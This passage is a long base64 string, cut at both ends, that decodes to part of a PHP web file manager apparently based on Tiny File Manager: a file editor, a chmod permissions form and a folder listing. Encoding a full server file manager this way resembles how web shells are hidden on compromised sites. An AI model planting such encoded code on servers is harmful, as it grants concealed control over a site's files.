lY3QgaWQ9ImpzLWFjZS10aGVtZSIgZGF0YS10eXBlPSJ0aGVtZSIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdTZWxlY3QgVGhlbWUnKSA/PiIgY2xhc3M9ImJ0bi1vdXRsaW5lLXNlY29uZGFyeSBib3JkZXItc3RhcnQtMCBkLW5vbmUgZC1sZy1ibG9jayI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbj4tLSA8P3BocCBlY2hvIGxuZygnU2VsZWN0IFRoZW1lJykgPz4gLS08L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBpZD0ianMtYWNlLWZvbnRTaXplIiBkYXRhLXR5cGU9ImZvbnRTaXplIiB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBGb250IFNpemUnKSA/PiIgY2xhc3M9ImJ0bi1vdXRsaW5lLXNlY29uZGFyeSBib3JkZXItc3RhcnQtMCBkLW5vbmUgZC1sZy1ibG9jayI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbj4tLSA8P3BocCBlY2hvIGxuZygnU2VsZWN0IEZvbnQgU2l6ZScpID8+IC0tPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJlZGl0LWZpbGUtYWN0aW9ucyBjb2wteHMtMTIgY29sLXNtLTcgY29sLWxnLTYgdGV4dC1lbmQgcHQtMSI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJidG4tZ3JvdXAiPgogICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSIgPD9waHAgZWNobyBsbmcoJ0JhY2snKSA/PiIgY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeSIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIKSkgPz4mYW1wO3ZpZXc9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+Ij48aSBjbGFzcz0iZmEgZmEtcmVwbHktYWxsIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz48L2E+CiAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PiIgY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeSIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iYmFja3VwKCc8P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PicpIj48aSBjbGFzcz0iZmEgZmEtZGF0YWJhc2UiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2tVcCcpID8+PC9hPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkaXNfdGV4dCkgeyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGlzTm9ybWFsRWRpdG9yKSB7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iQWR2YW5jZWQiIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXByaW1hcnkiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmFtcDtlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PiZhbXA7ZW52PWFjZSI+PGkgY2xhc3M9ImZhIGZhLXBlbmNpbC1zcXVhcmUtbyI+PC9pPiA8P3BocCBlY2hvIGxuZygnQWR2YW5jZWRFZGl0b3InKSA/PjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tc3VjY2VzcyIgbmFtZT0iU2F2ZSIgZGF0YS11cmw9Ijw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlX3VybCkgPz4iIG9uY2xpY2s9ImVkaXRfc2F2ZSh0aGlzLCducmwnKSI+PGkgY2xhc3M9ImZhIGZhLWZsb3BweS1vIj48L2k+IFNhdmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCB9IGVsc2UgeyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9IlBsYWluIEVkaXRvciIgY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeSIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIKSkgPz4mYW1wO2VkaXQ9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+Ij48aSBjbGFzcz0iZmEgZmEtdGV4dC1oZWlnaHQiPjwvaT4gPD9waHAgZWNobyBsbmcoJ05vcm1hbEVkaXRvcicpID8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1zdWNjZXNzIiBuYW1lPSJTYXZlIiBkYXRhLXVybD0iPD9waHAgZWNobyBmbV9lbmMoJGZpbGVfdXJsKSA/PiIgb25jbGljaz0iZWRpdF9zYXZlKHRoaXMsJ2FjZScpIj48aSBjbGFzcz0iZmEgZmEtZmxvcHB5LW8iPjwvaT4gPD9waHAgZWNobyBsbmcoJ1NhdmUnKSA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz4KICAgICAgICAgICAgICAgICAgICA8P3BocCB9ID8+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPD9waHAKICAgICAgICBpZiAoJGlzX3RleHQgJiYgJGlzTm9ybWFsRWRpdG9yKSB7CiAgICAgICAgICAgIGVjaG8gJzx0ZXh0YXJlYSBjbGFzcz0ibXQtMiIgaWQ9Im5vcm1hbC1lZGl0b3IiIHJvd3M9IjMzIiBjb2xzPSIxMjAiIHN0eWxlPSJ3aWR0aDogOTkuNSU7Ij4nIC4gaHRtbHNwZWNpYWxjaGFycygkY29udGVudCkgLiAnPC90ZXh0YXJlYT4nOwogICAgICAgICAgICBlY2hvICc8c2NyaXB0PmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoImtleWRvd24iLCBmdW5jdGlvbihlKSB7aWYgKCh3aW5kb3cubmF2aWdhdG9yLnBsYXRmb3JtLm1hdGNoKCJNYWMiKSA/IGUubWV0YUtleSA6IGUuY3RybEtleSkgICYmIGUua2V5Q29kZSA9PSA4MykgeyBlLnByZXZlbnREZWZhdWx0KCk7ZWRpdF9zYXZlKHRoaXMsIm5ybCIpO319LCBmYWxzZSk7PC9zY3JpcHQ+JzsKICAgICAgICB9IGVsc2VpZiAoJGlzX3RleHQpIHsKICAgICAgICAgICAgZWNobyAnPGRpdiBpZD0iZWRpdG9yIiBjb250ZW50ZWRpdGFibGU9InRydWUiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KSAuICc8L2Rpdj4nOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdGSUxFIEVYVEVOU0lPTiBIQVMgTk9UIFNVUFBPUlRFRCcpLCAnZXJyb3InKTsKICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2Pgo8P3BocAogICAgZm1fc2hvd19mb290ZXIoKTsKICAgIGV4aXQ7Cn0KCi8vIGNobW9kIChub3QgZm9yIFdpbmRvd3MpCmlmIChpc3NldCgkX0dFVFsnY2htb2QnXSkgJiYgIUZNX1JFQURPTkxZICYmICFGTV9JU19XSU4pIHsKICAgICRmaWxlID0gJF9HRVRbJ2NobW9kJ107CiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUpOwogICAgJGZpbGUgPSBzdHJfcmVwbGFjZSgnLycsICcnLCAkZmlsZSk7CiAgICBpZiAoJGZpbGUgPT0gJycgfHwgKCFpc19maWxlKCRwYXRoIC4gJy8nIC4gJGZpbGUpICYmICFpc19kaXIoJHBhdGggLiAnLycgLiAkZmlsZSkpKSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpOwogICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDsKICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7CiAgICB9CgogICAgZm1fc2hvd19oZWFkZXIoKTsgLy8gSEVBREVSCiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyAvLyBjdXJyZW50IHBhdGgKCiAgICAkZmlsZV91cmwgPSBGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJy8nIC4gRk1fUEFUSCA6ICcnKSAuICcvJyAuICRmaWxlOwogICAgJGZpbGVfcGF0aCA9ICRwYXRoIC4gJy8nIC4gJGZpbGU7CgogICAgJG1vZGUgPSBmaWxlcGVybXMoJHBhdGggLiAnLycgLiAkZmlsZSk7Cj8+CiAgICA8ZGl2IGNsYXNzPSJwYXRoIj4KICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIG1iLTIiIGRhdGEtYnMtdGhlbWU9Ijw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+Ij4KICAgICAgICAgICAgPGg2IGNsYXNzPSJjYXJkLWhlYWRlciI+CiAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnQ2hhbmdlUGVybWlzc2lvbnMnKSA/PgogICAgICAgICAgICA8L2g2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPgogICAgICAgICAgICAgICAgPHAgY2xhc3M9ImNhcmQtdGV4dCI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgJGRpc3BsYXlfcGF0aCA9IGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aCk7ID8+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAkZGlzcGxheV9wYXRoWydsYWJlbCddOyA/PjogPD9waHAgZWNobyAkZGlzcGxheV9wYXRoWydwYXRoJ107ID8+PGJyPgogICAgICAgICAgICAgICAgPC9wPgogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icCIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+Ij4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjaG1vZCIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlKSA/PiI+CgogICAgICAgICAgICAgICAgICAgIDx0YWJsZSBjbGFzcz0idGFibGUgY29tcGFjdC10YWJsZSIgZGF0YS1icy10aGVtZT0iPD9waHAgZWNobyBGTV9USEVNRTsgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Yj48P3BocCBlY2hvIGxuZygnT3duZXInKSA/PjwvYj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxiPjw/cGhwIGVjaG8gbG5nKCdHcm91cCcpID8+PC9iPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGI+PD9waHAgZWNobyBsbmcoJ090aGVyJykgPz48L2I+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiByaWdodCI+PGI+PD9waHAgZWNobyBsbmcoJ1JlYWQnKSA/PjwvYj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InVyIiB2YWx1ZT0iMSIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDQwMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PC9sYWJlbD48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImdyIiB2YWx1ZT0iMSIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDA0MCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PC9sYWJlbD48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im9yIiB2YWx1ZT0iMSIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDAwNCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PC9sYWJlbD48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0Ij48Yj48P3BocCBlY2hvIGxuZygnV3JpdGUnKSA/PjwvYj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InV3IiB2YWx1ZT0iMSIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDIwMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PC9sYWJlbD48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Imd3IiB2YWx1ZT0iMSIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDAyMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PC9sYWJlbD48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im93IiB2YWx1ZT0iMSIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDAwMikgPyAnIGNoZWNrZWQnIDogJycgPz4+PC9sYWJlbD48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0Ij48Yj48P3BocCBlY2hvIGxuZygnRXhlY3V0ZScpID8+PC9iPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idXgiIHZhbHVlPSIxIiA8P3BocCBlY2hvICgkbW9kZSAmIDAwMTAwKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZ3giIHZhbHVlPSIxIiA8P3BocCBlY2hvICgkbW9kZSAmIDAwMDEwKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ib3giIHZhbHVlPSIxIiA8P3BocCBlY2hvICgkbW9kZSAmIDAwMDAxKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgPC90YWJsZT4KCiAgICAgICAgICAgICAgICAgICAgPHA+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRva2VuIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGI+PGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4iIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtcHJpbWFyeSI+PGkgY2xhc3M9ImZhIGZhLXRpbWVzLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnQ2FuY2VsJykgPz48L2E+PC9iPiZuYnNwOwogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyI+PGkgY2xhc3M9ImZhIGZhLWNoZWNrLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnQ2hhbmdlJykgPz48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+Cjw/cGhwCiAgICBmbV9zaG93X2Zvb3RlcigpOwogICAgZXhpdDsKfQoKLy8gLS0tIFRJTllGSUxFTUFOQUdFUiBNQUlOIC0tLQpmbV9zaG93X2hlYWRlcigpOyAvLyBIRUFERVIKZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoCgovLyBzaG93IGFsZXJ0IG1lc3NhZ2VzCmZtX3Nob3dfbWVzc2FnZSgpOwoKJG51bV9maWxlcyA9IGNvdW50KCRmaWxlcyk7CiRudW1fZm9sZGVycyA9IGNvdW50KCRmb2xkZXJzKTsKJGFsbF9maWxlc19zaXplID0gMDsKPz4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgY2xhc3M9InB0LTMiPgogICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icCIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+Ij4KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imdyb3VwIiB2YWx1ZT0iMSI+CiAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+CiAgICA8ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlIj4KICAgICAgICA8dGFibGUgY2xhc3M9InRhYmxlIHRhYmxlLWJvcmRlcmVkIHRhYmxlLWhvdmVyIHRhYmxlLXNtIiBpZD0ibWFpbi10YWJsZSIgZGF0YS1icy10aGVtZT0iPD9waHAgZWNobyBGTV9USEVNRTsgPz4iPgogICAgICAgICAgICA8dGhlYWQgY2xhc3M9InRoZWFkLXdoaXRlIj4KICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHRoIHN0eWxlPSJ3aWR0aDozJSIgY2xhc3M9ImN1c3RvbS1jaGVja2JveC1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wgY3VzdG9tLWNoZWNrYm94Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIGNsYXNzPSJjdXN0b20tY29udHJvbC1pbnB1dCIgaWQ9ImpzLXNlbGVjdC1hbGwtaXRlbXMiIG9uY2xpY2s9ImNoZWNrYm94X3RvZ2dsZSgpIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImN1c3RvbS1jb250cm9sLWxhYmVsIiBmb3I9ImpzLXNlbGVjdC1hbGwtaXRlbXMiPjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC90aD48P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ05hbWUnKSA/PjwvdGg+CiAgICAgICAgICAgICAgICAgICAgPHRoPjw/cGhwIGVjaG8gbG5nKCdTaXplJykgPz48L3RoPgogICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTW9kaWZpZWQnKSA/PjwvdGg+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9JU19XSU4gJiYgISRoaWRlX0NvbHMpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ1Blcm1zJykgPz48L3RoPgogICAgICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ093bmVyJykgPz48L3RoPjw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnQWN0aW9ucycpID8+PC90aD4KICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGhlYWQ+CiAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgIC8vIGxpbmsgdG8gcGFyZW50IGZvbGRlcgogICAgICAgICAgICBpZiAoJHBhcmVudCAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgIDx0cj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJub3NvcnQiPjwvdGQ+PD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJib3JkZXItMCIgZGF0YS1zb3J0PjxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRwYXJlbnQpID8+Ij48aSBjbGFzcz0iZmEgZmEtY2hldnJvbi1jaXJjbGUtbGVmdCBnby1iYWNrIj48L2k+IC4uPC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJib3JkZXItMCIgZGF0YS1vcmRlcj48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iYm9yZGVyLTAiIGRhdGEtb3JkZXI+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImJvcmRlci0wIj48L3RkPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSB7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iYm9yZGVyLTAiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iYm9yZGVyLTAiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PgogICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgfQogICAgICAgICAgICAkaWkgPSAzMzk5OwogICAgICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZikgewogICAgICAgICAgICAgICAgJGlzX2xpbmsgPSBpc19saW5rKCRwYXRoIC4gJy8nIC4gJGYpOwogICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ljb24tbGlua19mb2xkZXInIDogJ2ZhIGZhLWZvbGRlci1vJzsKICAgICAgICAgICAgICAgICRtb2RpZl9yYXcgPSBmaWxlbXRpbWUoJHBhdGggLiAnLycgLiAkZik7CiAgICAgICAgICAgICAgICAkbW9kaWYgPSBkYXRlKEZNX0RBVEVUSU1FX0ZPUk1BVCwgJG1vZGlmX3Jhdyk7CiAgICAgICAgICAgICAgICAkZGF0ZV9zb3J0aW5nID0gc3RydG90aW1lKGRhdGUoIkYgZCBZIEg6aTpzLiIsICRtb2RpZl9yYXcpKTsKICAgICAgICAgICAgICAgICRmaWxlc2l6ZV9yYXcgPSAiIjsKICAgICAgICAgICAgICAgICRmaWxlc2l6ZSA9IGxuZygnRm9sZGVyJyk7CiAgICAgICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoZGVjb2N0KGZpbGVwZXJtcygkcGF0aCAuICcvJyAuICRmKSksIC00KTsKICAgICAgICAgICAgICAgICRvd25lciA9IGFycmF5KCduYW1lJyA9PiAnPycpOyAKICAgICAgICAgICAgICAgICRncm91cCA9IGFycmF5KCduYW1lJyA9PiAnPycpOwogICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIHsKICAgICAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgICAgICAkb3duZXJfaWQgPSBmaWxlb3duZXIoJHBhdGggLiAnLycgLiAkZik7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkb3duZXJfaWQgIT0gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG93bmVyX2luZm8gPSBwb3NpeF9nZXRwd3VpZCgkb3duZXJfaWQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lcl9pbmZvKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG93bmVyID0gICRvd25lcl9pbmZvOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICRncm91cF9pZCA9IGZpbGVncm91cCgkcGF0aCAuICcvJyAuICRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwX2luZm8gPSBwb3NpeF9nZXRncmdpZCgkZ3JvdXBfaWQpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGdyb3VwX2luZm8pIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRncm91cCA9ICAkZ3JvdXBfaW5mbzsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICAgICAgICAgICAgICBlcnJvcl9sb2coImV4Y2VwdGlvbjoiIC4gJGUtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImN1c3RvbS1jaGVja2JveC10ZCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgY2xhc3M9ImN1c3RvbS1jb250cm9sLWlucHV0IiBpZD0iPD9waHAgZWNobyAkaWkgPz4iIG5hbWU9ImZpbGVbXSIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSJjdXN0b20tY29udHJvbC1sYWJlbCIgZm9yPSI8P3BocCBlY2hvICRpaSA/PiI+PC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgIDx0ZCBkYXRhLXNvcnQ9PD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbihmbV9lbmMoJGYpKSA/Pj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZW5hbWUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJy8nIC4gJGYsICcvJykpID8+Ij48aSBjbGFzcz0iPD9waHAgZWNobyAkaW1nID8+Ij48L2k+IDw/cGhwIGVjaG8gZm1fY29udmVydF93aW4oZm1fZW5jKCRmKSkgPz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICgkaXNfbGluayA/ICcgJnJhcnI7IDxpPicgLiByZWFkbGluaygkcGF0aCAuICcvJyAuICRmKSAuICc8L2k+J